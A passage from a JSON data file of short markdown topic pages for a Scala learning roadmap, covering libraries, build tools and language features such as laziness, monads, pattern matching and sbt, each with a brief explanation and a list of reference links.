    "content": "# Kyo\n\nKyo is a toolkit for Scala development, providing a rich standard library for development across Native, JVM, and JavaScript platforms. It introduces a novel approach based on algebraic effects to deliver straightforward APIs in the pure Functional Programming paradigm.\n\nVisit the following resources to learn more:\n\n- [@article@Writing Modular Applications Using The Kyo Library](https://www.scalamatters.io/post/writing-modular-applications-using-the-kyo-library)\n- [@article@Kyo Presentation at Functional Scala 2023](https://speakerdeck.com/fwbrasil/kyo-functional-scala-2023)"
  },
  {
    "path": "src/data/roadmaps/scala/content/laminar@ZH55uB8H48i9mKBtCDciZ.md",
    "content": "# Laminar\n\nLaminar is a UI library for Scala.js that focuses on simplicity, expressiveness, and safety. It allows developers to build web application interfaces while keeping the UI state in sync with the underlying application state.\n\nVisit the following resources to learn more:\n\n- [@official@Official Laminar Website](https://laminar.dev/v)\n- [@official@Laminar Documentation](https://laminar.dev/documentation)\n- [@article@Build UIs with Laminar - Scala.js Tutorial](https://www.scala-js.org/doc/tutorial/laminar.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/laziness@YqAClVg7U1mb-Be_rnv-L.md",
    "content": "# Laziness\n\nLaziness is a feature that allows you to defer the evaluation of an expression until it is needed. This can be useful for optimizing performance and avoiding unnecessary computations.\n\nVisit the following resources to learn more:\n\n- [@official@Let Them Be Lazy! | The Scala Programming Language](https://www.scala-lang.org/blog/2017/11/28/view-based-collections.html)\n- [@article@Understand and implement laziness with examples in Scala, JavaScript, Swift and Racket](https://matt.might.net/articles/implementing-laziness/)\n- [@article@Laziness in Scala | InfoWorld](https://www.infoworld.com/article/2072680/laziness-in-scala.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/lazy-collections@kRdh-HUAWJi7d8gdynGUS.md",
    "content": "# Lazy collections\n\nLazy collections are used to describe successive transformation operations without evaluating intermediate transformations. They are particularly useful for creating infinite collections without blowing the memory.\n\nVisit the following resources to learn more:\n\n- [@official@Let Them Be Lazy!](https://www.scala-lang.org/blog/2017/11/28/view-based-collections.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/lazy-vals@iMe2czy5d7uNpB2Uv2KTK.md",
    "content": "# Lazy vals\n\nLazy vals are used to defer the initialization of a variable until it is accessed for the first time. This can be useful for optimizing performance and avoiding unnecessary computations.\n\nVisit the following resources to learn more:\n\n- [@official@Lazy Vals Initialization](https://docs.scala-lang.org/scala3/reference/changed-features/lazy-vals-init.html)\n- [@article@Guide to lazy val in Scala | Baeldung on Scala](https://www.baeldung.com/scala/lazy-val)\n- [@article@scala - What does a lazy val do? - Stack Overflow](https://stackoverflow.com/questions/7484928/what-does-a-lazy-val-do)"
  },
  {
    "path": "src/data/roadmaps/scala/content/lazylist@zk07chk34XuM1mac4oe4-.md",
    "content": "# LazyList\n\nA lazy list is an immutable linked list that computes its elements only when they are needed. Elements are memoized, meaning the value of each element is computed at most once.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Standard Library 2.13.4 - scala.collection.immutable.LazyList](https://www.scala-lang.org/api/2.13.4/scala/collection/immutable/LazyList.html)\n- [@article@LazyList - Scala 3 - EPFL](https://dotty.epfl.ch/api/scala/collection/immutable/LazyList.html)\n- [@article@LazyList in Scala | Baeldung on Scala](https://www.baeldung.com/scala/lazylist)"
  },
  {
    "path": "src/data/roadmaps/scala/content/li-haoyi@OYiz0dgiVjYilNRSjh9la.md",
    "content": "# Li Haoyi\n\nThe Li Haoyi ecosystem is centered around making Scala easy to use and productive. It includes libraries like Ammonite REPL, Mill Build Tool, os-lib, uPickle, Cask, and Scalatags. This ecosystem emphasizes executable pseudocode, ease of use, and productivity. It is designed to allow developers to write Scala in a way that is easy and productive, delivering real business value. The ecosystem is maintained by Li Haoyi and is known for its simplicity and practicality.\n\nVisit the following resources to learn more:\n\n- [@official@Li Haoyi's Programming Blog](http://www.lihaoyi.com/)\n- [@opensource@com-lihaoyi GitHub Repository](https://github.com/com-lihaoyi)\n- [@article@12 Years of the com.lihaoyi Scala Platform](https://www.lihaoyi.com/post/12yearsofthecomlihaoyiScalaPlatform.html)\n- [@article@Hands-on Scala Programming](https://www.handsonscala.com/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/libgdx-w-scala@yogv_RewIk12S8Rh_FEtJ.md",
    "content": "# LibGDX with Scala\n\nLibGDX is a popular JVM framework for game design that can be used with Scala. It provides a set of tools for creating cross-platform games. Scala developers can use LibGDX with build tools like sbt or Gradle to manage their projects. LibGDX supports various features such as graphics, sound, physics emulation, and more, making it a versatile choice for game development.\n\nVisit the following resources to learn more:\n\n- [@official@Using libGDX with Scala](https://libgdx.com/wiki/jvm-langs/using-libgdx-with-scala)\n- [@opensource@scala-libgdx-examples on GitHub](https://github.com/rathboma/scala-libgdx-examples)\n- [@article@Game Programming in Scala with Libgdx and Box2D](https://blog.matthewrathbone.com/2012/10/22/game-programming-in-scala-with-libgdx-and-box2d.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/list@HCXshB5qPYlYmyg3ufA4a.md",
    "content": "# List\n\nLists are ordered, immutable collections of elements of the same type. Once a list is created, you can't change its elements directly; instead, you create a new list with the desired modifications. They're useful for storing sequences of items where the order matters, like a to-do list or a series of events. Common operations include adding elements to the beginning of the list (using `::`), accessing elements by index, and iterating through the list.\n\nVisit the following resources to learn more:\n\n- [@official@Collection Types - Lists](https://docs.scala-lang.org/scala3/book/collections-classes.html#list)\n- [@official@List](https://www.scala-lang.org/api/3.x/scala/collection/immutable/List.html)\n- [@article@Scala - Lists](https://www.tutorialspoint.com/scala/scala_lists.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/loops@VVO1Cmn0HwVKeMZNJiixa.md",
    "content": "# Loops\n\nLoops are used to execute a block of code repeatedly. Scala supports the following types of loops. **while loop**: Repeats a statement or group of statements while a given condition is true. It tests the condition before executing the loop body. **for loop**: Used to iterate over collections or ranges. It is often used for its readability and conciseness. **do-while loop**: Deprecated in Scala 3. Similar to the while loop, but the condition is tested at the end of the loop body, ensuring that the loop body is executed at least once.\n\nVisit the following resources to learn more:\n\n- [@official@for loops | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/for-loops.html)\n- [@official@Scala - while loop](https://docs.scala-lang.org/overviews/scala-book/for-loops.html)\n- [@article@Scala | Loops (while, do..while, for, nested loops)](https://www.geeksforgeeks.org/scala/scala-loopswhile-do-while-for-nested-loops/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/macros--the-type-system@sWzy6blDheaOBOpwg5lou.md",
    "content": "# Macros & the Type System\n\nMacros are pieces of code that transform other code at compile time. They allow you to perform computations and generate code based on the structure of your program, enabling powerful metaprogramming capabilities. The type system, on the other hand, is a set of rules that govern how data types are used in a programming language. It ensures type safety, preventing errors by verifying that operations are performed on compatible data types during compilation."
  },
  {
    "path": "src/data/roadmaps/scala/content/macros@mq3uKXW57PdAkbuSBsznD.md",
    "content": "# Macros\n\nMacros enable advanced metaprogramming capabilities, such as code generation, optimizations, and the creation of domain-specific languages (DSLs). Scala 3 macros were redesigned to be more intuitive and flexible than the previous version.\n\nVisit the following resources to learn more:\n\n- [@official@Scala 3 Macros | Macros in Scala 3 | Scala Documentation](https://docs.scala-lang.org/scala3/guides/macros/macros.html)\n- [@official@Tutorial | Macros in Scala 3 | Scala Documentation](https://docs.scala-lang.org/scala3/guides/macros/)\n- [@article@Scala 3 macros tips & tricks | SoftwareMill Blog](https://softwaremill.com/scala-3-macros-tips-and-tricks/)\n- [@article@Guide to Scala 3 Macros | Rock the JVM](https://rockthejvm.com/articles/scala-3-macros-comprehensive-guide)"
  },
  {
    "path": "src/data/roadmaps/scala/content/magnolia@YWog0o_t3XWQgGpjkzsnd.md",
    "content": "# Magnolia\n\nMagnolia is a generic macro for automatic materialization of typeclasses for datatypes composed from case classes (products) and sealed traits (coproducts). It supports recursively-defined datatypes out-of-the-box and incurs no significant time penalty during compilation. Magnolia provides a simple interface for handling products and coproducts, which is then used by the Magnolia macro to derive typeclasses automatically.\n\nVisit the following resources to learn more:\n\n- [@article@Blending Magnolia with Circe's trick for automatic derivation](https://stackoverflow.com/questions/50544041/blending-magnolia-with-circes-trick-for-automatic-derivation)\n- [@article@Intermediate's guide to derivations in Scala: Magnolia](https://blog.michal.pawlik.dev/posts/scala/scala-derivations-show/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/map@i4gSxrJSki5um_6dfLUYK.md",
    "content": "# Map\n\nA Map is a collection that holds key-value pairs. Think of it like a dictionary where each key is associated with a specific value. Keys are unique within a map, and you use a key to quickly retrieve its corresponding value. Maps are useful for storing and accessing data based on a unique identifier.\n\nVisit the following resources to learn more:\n\n- [@official@Maps | Collections (Scala 2.8 - 2.12) | Scala Documentation](https://docs.scala-lang.org/overviews/collections-2.13/maps.html)\n- [@article@Scala - Maps](https://www.tutorialspoint.com/scala/scala_maps.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/map@zhRrfAotX8wq6HjR3s13B.md",
    "content": "# map\n\nThe map method is used to apply a function to each element of a collection and create a new collection with the same number of elements, where each element is the result of applying that function to the original element. Resources\n\nVisit the following resources to learn more:\n\n- [@official@Write Your Own map Method | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/fun-write-map-function.html)\n- [@official@A Guide to Scala Maps | Baeldung on Scala](https://docs.scala-lang.org/scala3/book/fun-write-map-function.html)\n- [@article@How to Write a 'map' Function in Scala](https://www.baeldung.com/scala/maps-guide)"
  },
  {
    "path": "src/data/roadmaps/scala/content/maven@6D5cj3ekHNkZPy1Z8ONaQ.md",
    "content": "# Maven\n\nMaven is a build automation and dependency management tool primarily used for Java projects. It simplifies the build process by using a Project Object Model (POM) file, typically named pom.xml, which centralizes project configuration and manages dependencies. Maven follows best practices and conventions to ensure consistent project setups, making it easier for developers to understand and manage projects. It integrates well with other tools like IDEs (Eclipse, IntelliJ IDEA) and version control systems (Git). Maven's key features include dependency management, build automation, and a large repository of libraries and metadata.\n\nVisit the following resources to learn more:\n\n- [@official@Maven in 5 Minutes](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)\n- [@article@Maven Tutorial on TutorialsPoint](https://www.tutorialspoint.com/maven/index.htm)\n- [@article@Apache Maven Tutorial on Baeldung](https://www.baeldung.com/maven)\n- [@article@Maven Complete Tutorial for Beginners on DEV Community](https://dev.to/saiupadhyayula/maven-complete-tutorial-for-beginners-1jek)"
  },
  {
    "path": "src/data/roadmaps/scala/content/method-calls@w_GDO8UjtaM-XTbyQOBsQ.md",
    "content": "# Method calls\n\nMethod calls can be made using different syntaxes and conventions. Methods can be called using the standard dot notation (e.g., obj.method(params)) or using the infix notation (e.g., obj method params). Scala also allows the omission of parentheses on methods of arity-0 (no arguments), but this syntax should only be used when the method in question has no side effects. Additionally, Scala supports named parameters, which can be used to make method calls more readable.\n\nVisit the following resources to learn more:\n\n- [@official@Method Invocation | Style Guide | Scala Documentation](https://docs.scala-lang.org/style/method-invocation.html)\n- [@article@Functions and Methods in Scala | Baeldung on Scala](https://www.baeldung.com/scala/functions-methods)\n- [@article@Scala - method call syntax - Stack Overflow](https://stackoverflow.com/questions/11899177/scala-method-call-syntax)"
  },
  {
    "path": "src/data/roadmaps/scala/content/mill@SY6uRGxuo_sXA_R0t8uLJ.md",
    "content": "# Mill\n\nMill is a build tool designed for Java, Scala, and Kotlin projects. It focuses on speed and efficiency by automatically caching and parallelizing build tasks and tests. Mill uses a long-lived daemon to keep the JVM warm, which helps in maintaining fast build times. It also supports selective test execution to shorten CI times. Mill is designed to be simple and intuitive, making it a good choice for both small and medium-sized projects.\n\nVisit the following resources to learn more:\n\n- [@article@Mill Official Documentation](https://mill-build.org/mill/index.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/monads@PEQNPOy-j2BdL_NQYoq7g.md",
    "content": "# Monads\n\nMonads in Scala are constructs that augment a value with additional features, known as effects. These effects can include managing the nullability of a variable or handling the asynchronicity of its computation. In Scala, common monads include Option\\[T\\], Future\\[T\\], Either, List, and more. A monad adds an effect to a value by wrapping it around a context. The key functions a monad must implement are unit (which lifts a value into the monadic context) and flatMap (which allows for chaining operations within the monadic context).\n\nVisit the following resources to learn more:\n\n- [@article@Monads in Scala | Baeldung on Scala](https://www.baeldung.com/scala/monads)\n- [@article@An Introduction to Monads in Scala | Rock the JVM](https://rockthejvm.com/articles/an-introduction-to-monads-in-scala)\n- [@article@Demystifying the Monad in Scala](https://medium.com/free-code-camp/demystifying-the-monad-in-scala-cc716bb6f534)"
  },
  {
    "path": "src/data/roadmaps/scala/content/monocle@DHdpzJxOlUnRRx5WhhWHi.md",
    "content": "# Monocle\n\nMonocle is an optics library for Scala and Scala.js, strongly inspired by Haskell Lens. It provides functionalities for creating and manipulating lenses, prisms, and isomorphisms. Monocle uses macros to simplify the generation of optics, such as lenses for case classes, prisms for subclasses, and isomorphisms between types. This makes it easier to work with nested data structures and perform operations like accessing, modifying, and transforming data in a concise and type-safe manner.\n\nVisit the following resources to learn more:\n\n- [@article@Monocle | Lens](https://www.scala-exercises.org/monocle/lens)\n- [@article@Introduction to Optics in Scala Using Monocle](https://www.baeldung.com/scala/monocle-optics)\n- [@article@Optics: a hands-on introduction in Scala](https://jonaschapuis.com/2018/07/optics-a-hands-on-introduction-in-scala/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/munit@Oel8HKCRp5AlaDrsVMRu4.md",
    "content": "# mUnit\n\nMUnit is a Scala testing library that offers actionable errors and extensible APIs. It is designed to provide clear and helpful error messages when tests fail, making it easier to debug and fix issues. MUnit allows you to run test suites directly from your IDE, whether it's IntelliJ, VS Code, or any other LSP editor.\n\nVisit the following resources to learn more:\n\n- [@official@Testing with MUnit | The Scala Toolkit | Scala Documentation](https://docs.scala-lang.org/toolkit/testing-intro.html)\n- [@official@Getting started · MUnit](https://scalameta.org/munit/docs/getting-started.html)\n- [@article@Introduction to MUnit | Baeldung on Scala](https://www.baeldung.com/scala/munit-introduction)"
  },
  {
    "path": "src/data/roadmaps/scala/content/mutable-collections@Dfrh1gTS7CiCSqXGW-APm.md",
    "content": "# Mutable collections\n\nMutable collections are used when you need collections that can be updated or extended in place, usually for better performance. After the computations are done, you can transform it to its immutable counterpart. Scala provides several mutable collection classes, including ArrayBuffer, ListBuffer, HashSet, and HashMap. Resources\n\nVisit the following resources to learn more:\n\n- [@official@Concrete Mutable Collection Classes | Collections (Scala 2.8 - 2.12) | Scala Documentation](https://docs.scala-lang.org/overviews/collections/concrete-mutable-collection-classes.html)\n- [@official@Concrete Mutable Collection Classes | Collections | Scala Documentation](https://docs.scala-lang.org/overviews/collections-2.13/concrete-mutable-collection-classes.html)\n- [@article@Scala mutable collections on waitingforcode.com - articles about Scala collections](https://www.waitingforcode.com/scala-collections/scala-mutable-collections/read)"
  },
  {
    "path": "src/data/roadmaps/scala/content/no-ecosystem@1pq3RFK0DokxqYAuwfdF8.md",
    "content": "# No ecosystem\n\nThe Scala open-source landscape outside of the major ecosystems often focuses on niche use cases or innovative ideas that may not be covered by the larger frameworks. Projects in this space can range from specialized tools for data science, machine learning, and web development to unique solutions for testing, build management, and database connectivity. These projects are frequently driven by individual developers or small communities."
  },
  {
    "path": "src/data/roadmaps/scala/content/nothing@MVNwvGwzYyse8YUc9fwnL.md",
    "content": "# Nothing\n\n`Nothing` is a special type in Scala that sits at the bottom of the type hierarchy. It's a subtype of every other type, meaning it can be used anywhere any other type is expected. However, `Nothing` has no instances (no actual values), which essentially means that a function returning `Nothing` will never return normally; it either throws an exception, enters an infinite loop, or the program exits. You can think of it as a \"dead end\" type that signals a point of no return in your code."
  },
  {
    "path": "src/data/roadmaps/scala/content/object@_Ggnf67Ye0kFvroqqSg_D.md",
    "content": "# Object\n\nThe object keyword is used to create a singleton object. A singleton object is a class that has only one instance. Singleton objects are often used to define methods and values that are not specific to instances of a class, similar to static methods in Java.\n\nVisit the following resources to learn more:\n\n- [@official@Singleton Objects | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/singleton-objects.html)\n- [@article@Scala - Classes & Objects | Tutorials Point](https://www.tutorialspoint.com/scala/scala_classes_objects.htm)\n- [@article@Classes and Objects in Scala | Baeldung on Scala](https://www.baeldung.com/scala/classes-objects)"
  },
  {
    "path": "src/data/roadmaps/scala/content/operators@9sYmBVtJhOegHWE8mgs5c.md",
    "content": "# Standard operators\n\nOperators are methods that can be used in a more readable and intuitive way. Scala supports standard arithmetic operators (+, -, \\*, /), relational operators (==, !=, >, <, >=, <=), and logical operators (&&, ||, !). Additionally, Scala has specific operators like the arrow (->) and fat arrow (=>). The arrow operator (->) is used to create tuples, which are pairs of values. For example, 1 -> 2 creates a tuple (1, 2). The fat arrow (=>) is used in function definitions and pattern matching. Resources\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Scala Operators | Baeldung on Scala](https://www.baeldung.com/scala/operators-intro)\n- [@article@What do all of Scala's symbolic operators mean? - Stack Overflow](https://stackoverflow.com/questions/7888944/what-do-all-of-scalas-symbolic-operators-mean)\n- [@article@Working with Arrows in Scala](https://blog.ssanj.net/posts/2017-07-02-working-with-arrows-in-scala.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/option@PPrcoA800FmTFT48H789J.md",
    "content": "# Option\n\nThe Option class in Scala is used to represent optional values. It is a carrier of single or no element for a stated type, and is particularly useful for handling cases where a value might be null.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Standard Library 2.13.3 - scala.Option](https://www.scala-lang.org/api/2.13.3/scala/Option.html)\n- [@article@The Option Type in Scala | Baeldung on Scala](https://www.baeldung.com/scala/option-type)"
  },
  {
    "path": "src/data/roadmaps/scala/content/ox@eHbMh_KO2ezvMm-LyhkCR.md",
    "content": "# Ox\n\nOx is a Scala library designed for safe direct-style streaming, concurrency, and resiliency on the JVM. It offers a comprehensive set of tools for managing concurrency, error handling, and resource management in a developer-friendly manner. Ox leverages Scala 3 and JDK 21+ to provide structured concurrency, high-level concurrency operators, and safe low-level primitives. It also includes features for error management, such as retries, timeouts, and safe error propagation.\n\nVisit the following resources to learn more:\n\n- [@official@Ox Documentation](https://ox.softwaremill.com/latest/)\n- [@article@IO Effect Tracking with Ox](https://softwaremill.com/io-effect-tracking-using-ox/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/package@RVwd5ZY4e_RUhsIi1NZFu.md",
    "content": "# package\n\nThe package keyword is used to create namespaces that can contain entities such as classes, objects, and other packages. In Scala 2, package objects allow defining functions, variables, and types that are accessible to all members of a package. In Scala 3, it's possible to define all those elements at the top-level, so there is no longer any need to declare package objects.\n\nVisit the following resources to learn more:\n\n- [@official@Top Level Definitions in Packages | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/package-objects.html)\n- [@article@Packaging, Importing and Package Objects in Scala | Baeldung on Scala](https://www.baeldung.com/scala/package-import)\n- [@article@Scala Package Objects](https://www.tutorialspoint.com/scala/scala_package_objects.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/pattern-matching@5BGQb1CZQwDwYxDA9bvn4.md",
    "content": "# Pattern Matching\n\nPattern matching is a way to check a value against a set of patterns. Think of it like a more powerful `switch` statement. You provide a value and then define different \"cases\" or patterns that the value might match. When a match is found, the code associated with that pattern is executed. It's often used to deconstruct data structures or identify specific conditions within your code.\n\nVisit the following resources to learn more:\n\n- [@official@Pattern Matching | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/pattern-matching.html)\n- [@article@Pattern Matching in Scala | Baeldung on Scala](https://www.baeldung.com/scala/pattern-matching)"
  },
  {
    "path": "src/data/roadmaps/scala/content/pekko@dS2USmMlQb4EjY9hvG_by.md",
    "content": "# Pekko\nPekko is an open-source framework for building applications that are concurrent, distributed, resilient, and elastic. It uses the Actor Model to provide intuitive high-level abstractions for concurrency. Pekko is a fork of Akka 2.6.x and offers libraries for persistence, streams, HTTP, and more.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Apache Pekko on Baeldung](https://www.baeldung.com/scala/apache-pekko)\n- [@article@Akka/Apache Pekko Essentials with Scala on Rock the JVM](https://rockthejvm.com/courses/akka-apache-pekko-essentials-with-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/platforms@pYZHgxBvh3Au3bCFuLWn2.md",
    "content": "# Know your platform\n\nA platform is a runtime environment in which code is compiled and executed. Scala is primarily known as a JVM language, alongside Java and Kotlin. Scala code is compiled into the same bytecode as these languages and runs in the Java Runtime Environment (JRE), which provides independence from specific machine configurations and features such as garbage collection. However, there are at least two other platforms where Scala code can be run: Scala Native, which aims to compile Scala directly to machine code, bypassing the JRE, and Scala.js, which transpiles Scala code to JavaScript, allowing it to run in web browsers."
  },
  {
    "path": "src/data/roadmaps/scala/content/play@VDbh6YkcPssmp2hcZdOt1.md",
    "content": "# Play\n\nThe Play Framework is an open-source web application framework that follows the model–view–controller (MVC) architectural pattern. It is written in Scala and usable from other programming languages that are compiled to JVM bytecode, such as Java. Play is designed to optimize developer productivity by providing a lightweight, stateless, web-friendly architecture that uses Akka and Akka Streams to ensure predictable and minimal resource consumption (CPU, memory, threads) for highly scalable applications. It is particularly well-suited for building modern web applications and REST services.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Play Framework](https://www.playframework.com/getting-started)\n- [@article@Play Framework - Wikipedia](https://en.wikipedia.org/wiki/Play_Framework)\n- [@article@What Is Play Framework? (Definition, Uses, Alternatives) | Built In](https://builtin.com/software-engineering-perspectives/play-framework)"
  },
  {
    "path": "src/data/roadmaps/scala/content/playjson@gT46TnxsNzWOIfBvxPb5n.md",
    "content": "# PlayJSON\n\nPlayJSON is a Scala JSON library originally developed for use with Play Framework. It uses Jackson for JSON parsing and offers features like custom validation while parsing and automatic parsing of JSON in request bodies.\n\nVisit the following resources to learn more:\n\n- [@article@Tutorial on Using PlayJSON](https://riptutorial.com/scala/example/13542/json-with-play-json)\n- [@article@Example of Using PlayJSON with Scala](https://dev.to/cuongld2/parse-json-to-object-models-in-scala-using-play-json-11im)"
  },
  {
    "path": "src/data/roadmaps/scala/content/private--protected@mHdNAYbL4yCZZYv0Z_s1w.md",
    "content": "# private / protected\n\nThe private and protected keywords are used to control the visibility of members (variables and methods) in classes, objects, or packages. If no access modifier is specified, the default access level is public.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Scala Access Modifiers](https://www.tutorialspoint.com/scala/scala_access_modifiers.htm)\n- [@article@How to control Scala method scope with private, package, and more](https://alvinalexander.com/scala/how-to-control-scala-method-scope-object-private-package/)\n- [@article@Scala access modifiers and qualifiers in detail](https://www.jesperdj.com/2016/01/08/scala-access-modifiers-and-qualifiers-in-detail/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/pure-functions@glMo7kvwKxS3M6pBrGhNn.md",
    "content": "# Pure functions\n\nPure functions in Scala are functions that always return the same output for the same input and do not have any side effects. They are fundamental to functional programming and provide predictability and reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Pure Functions - Scala 3 Documentation](https://docs.scala-lang.org/scala3/book/fp-pure-functions.html)\n- [@article@Pure Function vs Referential Transparency](https://edward-huang.com/functional-programming/tech/programming/scala/2020/01/30/pure-function-vs-referential-transparency/)\n- [@article@Referential Transparency in Scala Pt. I - Pure functions](https://rafaelvindelamor.dev/posts/referential-transparency-in-scala-pt-i-pure-functions/)\n- [@article@Scala best practice: Create methods that have no side effects (pure functions)](https://alvinalexander.com/scala/how-to-create-scala-methods-no-side-effects-pure-functions/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/quill@Fa8GRqxvzE5dq-nD4heEI.md",
    "content": "# Quill\n\nQuill is a library for database access in Scala that provides a Quoted Domain Specific Language (QDSL) to express queries in Scala and execute them in a target language. It supports compile-time query generation and validation, making it easier to write type-safe and efficient database queries. Quill is designed to minimize boilerplate and support multiple target languages, including SQL and Cassandra Query Language (CQL).\n\nVisit the following resources to learn more:\n\n- [@article@Working with Databases using Scala and Quill](https://www.lihaoyi.com/post/WorkingwithDatabasesusingScalaandQuill.html)\n- [@article@Compile-time Queries with Quill](https://scalac.io/blog/quill-compile-time-queries/)\n- [@article@Database Queries with Quill](https://livebook.manning.com/book/get-programming-with-scala/chapter-46/v-9)"
  },
  {
    "path": "src/data/roadmaps/scala/content/range@IN_mRFxfaDiW2_iNDdrHk.md",
    "content": "# Range\n\nA `Range` in Scala represents an ordered sequence of integers (or other numeric types) with a consistent step size. You define a range by specifying its start, end (inclusive or exclusive), and the increment between elements. Ranges are memory-efficient because they don't store all the numbers; instead, they calculate each element on demand, making them ideal for iterating over large sequences or generating arithmetic progressions without the overhead of storing every single value.\n\nVisit the following resources to learn more:\n\n- [@official@Range](https://www.scala-lang.org/api/3.x/scala/collection/immutable/Range.html)\n- [@article@Range in Scala](https://www.baeldung.com/scala/range)"
  },
  {
    "path": "src/data/roadmaps/scala/content/reactjs@A9CpbbZ_Q9zIkVX5Rgyp6.md",
    "content": "# React.js\n\nReact.js is a popular JavaScript library for building user interfaces, developed and maintained by Facebook. It can be integrated with Scala.js, allowing developers to write React applications using Scala.\n\nVisit the following resources to learn more:\n\n- [@article@Building Web Applications with Scala.js and React](https://enear.github.io/2017/03/07/scalajs-react-part1/)\n- [@article@Building a Frontend Application with Scala.js and React](https://medium.com/codinoverse/building-a-frontend-application-with-scala-js-and-react-a-detailed-guide-f89317d958c7)"
  },
  {
    "path": "src/data/roadmaps/scala/content/recursion@Hrl2L3vdhAub1jnQVuTRF.md",
    "content": "# Recursion basics\n\nRecursion is a fundamental concept in computer science and mathematics where a function or process calls itself as part of its execution. This approach is particularly useful for tasks that can be defined in terms of similar subtasks, such as traversing tree structures, calculating factorials, or solving problems that exhibit self-similarity. In Scala, recursion is supported on many levels. It is possible for a function to recursively call itself. Additionally, the Scala compiler uses tail recursion to rewrite a subset of recursive functions into flat loops, and the Scala standard library contains \"trampolines\" - a mechanism to simulate recursion without the risk of stack overflow. On top of that, Scala pattern matching helps to write recursive functions in a readable way, and implicit parameters help to keep the code concise.\n\nVisit the following resources to learn more:\n\n- [@article@Scala Recursion Functions](https://www.tutorialspoint.com/scala/recursion_functions.htm)\n- [@article@Simple Scala recursion examples (recursive programming) | alvinalexander.com](https://alvinalexander.com/scala/scala-recursion-examples-recursive-programming/)\n- [@article@Scala Tutorial | Tail Recursion](https://www.scala-exercises.org/scala_tutorial/tail_recursion)"
  },
  {
    "path": "src/data/roadmaps/scala/content/referencial-transparency@Qm2AQa8AJtmMo_eidqCrz.md",
    "content": "# Referential Transparency\n\nReferential transparency is a fundamental concept in functional programming where an expression can be replaced by its value without changing the behavior of the program. In Scala, this concept is closely tied to pure functions, which always return the same output for the same input and do not have any side effects.\n\nVisit the following resources to learn more:\n\n- [@book@Scala Functional Programming Patterns book](https://www.oreilly.com/library/view/scala-functional-programming/9781783985845/ch01s05.html)\n- [@article@Scala Best Practices - Referential transparency](https://nrinaudo.github.io/scala-best-practices/definitions/referential_transparency.html)\n- [@article@Referential Transparency in Scala - liveBook by Manning](https://livebook.manning.com/concept/scala/referential-transparency)\n- [@article@Referential Transparency - Learning Journal](https://www.learningjournal.guru/article/scala/functional-programming/referential-transparency/)\n- [@article@Scala Tutorials Part #21 - Referential transparency](https://madusudanan.com/blog/scala-tutorials-part-21-referential-transparency/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/regex@P607jVa4002JaBDku4V4O.md",
    "content": "# Regex\n\nRegular expressions are supported through the Regex class in the scala.util.matching package. Regular expressions (regex) are patterns used to match character combinations in strings. They are useful for text processing, pattern matching, and data validation. Resources\n\nVisit the following resources to learn more:\n\n- [@official@Regular Expression Patterns | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/regular-expression-patterns.html)\n- [@official@Regular Expressions in Scala | Baeldung on Scala](https://docs.scala-lang.org/tour/regular-expression-patterns.html)\n- [@article@Scala Regular Expressions | Tutorials Point](https://www.tutorialspoint.com/scala/scala_regular_expressions.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/sbt@V0zIDfz8b2LBrNwz81xlR.md",
    "content": "# sbt\n\nsbt (Scala Build Tool) is a build tool designed for Scala and Java projects. It allows developers to define tasks in Scala and run them in parallel from an interactive shell. sbt is known for its incremental compilation feature, which updates only the parts of the project that have changed, saving time and improving efficiency. It supports a wide range of plugins for tasks like packaging, releasing, and deploying software. sbt is highly configurable and extensible, making it suitable for projects of all sizes, from small applications to large, complex systems.\n\nVisit the following resources to learn more:\n\n- [@book@sbt in Action Book](https://www.manning.com/books/sbt-in-action)\n- [@official@sbt Official Documentation](https://www.scala-sbt.org/learn.html)\n- [@official@Scala Book: sbt Overview](https://docs.scala-lang.org/overviews/scala-book/scala-build-tool-sbt.html)\n- [@article@Introduction to SBT on Baeldung](https://www.baeldung.com/scala/sbt-intro)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scala-android-plugin@vsG9D5ZmCMvPaTRmVgYyn.md",
    "content": "# Scala Android Plugin\n\nThe Scala Android Plugin is a tool that allows developers to build Android applications using the Scala programming language. It integrates with the Android build system, enabling you to write your application logic, activities, and UI components in Scala, and then compile them into Dalvik bytecode that can run on Android devices. The plugin handles the necessary steps for compiling Scala code, packaging it with Android resources, and creating the final APK file.\n\nVisit the following resources to learn more:\n\n- [@article@scala-android-plugin](https://github.com/onsqcorp/scala-android-plugin)"
  },
  {
    "path": "src/data/roadmaps/scala/content/scala-native@4_gOylCtzBT6n1_GBzZdD.md",
